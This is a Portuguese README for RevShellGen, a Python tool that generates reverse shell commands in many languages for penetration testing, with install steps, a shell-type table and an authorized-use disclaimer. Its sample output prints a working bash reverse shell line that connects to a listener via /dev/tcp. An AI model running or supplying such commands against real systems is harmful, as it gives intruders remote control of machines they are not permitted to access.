
Gerador de shell reverso escrito em Python 3.
Gerador de Reverse Shell
Automatize a geração de reverse shells com estilo
Gere, codifique e capture reverse shells sem complicação
Funcionalidades • Instalação • Uso • Tipos de Shell • Contribuir
RevShellGen é uma poderosa ferramenta de linha de comando que simplifica o processo de geração de comandos de reverse shell. Sem precisar consultar sintaxes, codificar manualmente ou lidar com configurações complicadas. Esta ferramenta lida com tudo com uma interface intuitiva.
# Instalar via PyPI
pip install revshellgen
# Executar a ferramenta
revshellgen
# Clonar o repositório
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
# Instalar dependências
pip3 install -r requirements.txt
# Executar a ferramenta
python3 revshellgen.py # ou python3 revshellgen_cli.py
O RevShellGen requer os seguintes pacotes Python:
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate # No Windows: venv\Scripts\activate
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt
# Talvez seja necessário instalar python3-dev
sudo apt-get install python3-dev # Debian/Ubuntu
sudo yum install python3-devel # RHEL/CentOS
# Instale o ncat para melhor suporte de listener
brew install nmap # Inclui ncat
Inicie a ferramenta
python3 revshellgen.py
Configure seu reverse shell
O comando gerado é copiado automaticamente para a área de transferência
Inicie o listener (automático)
Execute o comando na máquina alvo
![]() Seleção de Shell |
![]() Geração de Comando |
O RevShellGen agora inclui instruções abrangentes para upgrade de TTY. Após capturar um shell, a ferramenta fornece:
A ferramenta detecta automaticamente e usa a variante apropriada do netcat:
ncat (preferido, do pacote nmap)nc (netcat tradicional)nc no macOS$ python3 revshellgen.py
__ __ __
____ ___ _ __ ___ / / ___ / / / / ___ _ ___ ___
/ __// -_)| |/ / (_-< / _ \/ -_) / / / / / _ `// -_) / _ \
/_/ \__/ |___/ /___//_//_\__/ /_/ /_/ \_, / \__/ /_//_/
/___/
---------- [ SELECIONAR IP ] ----------
[ x ] 192.168.1.10 na eth0
[ ] 10.0.0.5 na tun0
[ ] Especificar manualmente
---------- [ ESPECIFICAR PORTA ] ----------
[ # ] Digite o número da porta : 4444
---------- [ SELECIONAR COMANDO ] ----------
[ x ] unix_bash
[ ] unix_python
[ ] unix_nc_mkfifo
...
---------- [ COMANDO REVERSE SHELL ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
[ + ] Comando copiado para a área de transferência!
[ + ] Iniciando listener na porta 4444...
Contribuições são bem-vindas! Sinta-se à vontade para enviar um Pull Request. Para mudanças maiores, abra primeiro uma issue para discutir o que você gostaria de alterar.
# Clone seu fork
git clone https://github.com/SEU_USUARIO/revshellgen
cd revshellgen
# Crie um branch
git checkout -b feature/nome-da-sua-feature
# Faça suas alterações e commit
git add .
git commit -m "Adiciona sua funcionalidade"
# Envie para seu fork
git push origin feature/nome-da-sua-feature
# Crie um Pull Request
Encontrou um bug ou tem uma sugestão? Por favor, abra uma issue no GitHub.
Este projeto está licenciado sob a GNU General Public License v3.0 - veja o arquivo LICENSE para detalhes.
Esta ferramenta destina-se exclusivamente a testes de penetração autorizados e fins educacionais.
O uso desta ferramenta contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal. É responsabilidade do usuário final obedecer a todas as leis locais, estaduais e federais aplicáveis. Os desenvolvedores não assumem nenhuma responsabilidade e não são responsáveis por qualquer uso indevido ou dano causado por este programa.
| Pacote | Finalidade |
|---|
pyperclip | Operações na área de transferência |
colorama | Cores no terminal |
readchar | Entrada interativa de teclas |
netifaces | Detecção de interfaces de rede |
| Tipo de Shell | Descrição | Plataforma |
|---|
| Bash | Reverse shell TCP em Bash | Linux/Unix |
| Python | Reverse shell baseado em Python | Multiplataforma |
| Netcat | Reverse shell nc tradicional | Linux/Unix |
| Netcat mkfifo | Netcat com pipe nomeado | Linux/Unix |
| Perl | Reverse shell baseado em Perl | Multiplataforma |
| PHP | Reverse shell em PHP | Multiplataforma |
| Ruby | Reverse shell baseado em Ruby | Multiplataforma |
| Java | Reverse shell em Java | Multiplataforma |
| AWK | Reverse shell em AWK | Linux/Unix |
| Socat | Reverse shell em Socat | Linux/Unix |
| Socat TTY | Socat com TTY completo | Linux/Unix |
| Telnet | Reverse shell via Telnet | Linux/Unix |
| PowerShell | Windows PowerShell | Windows |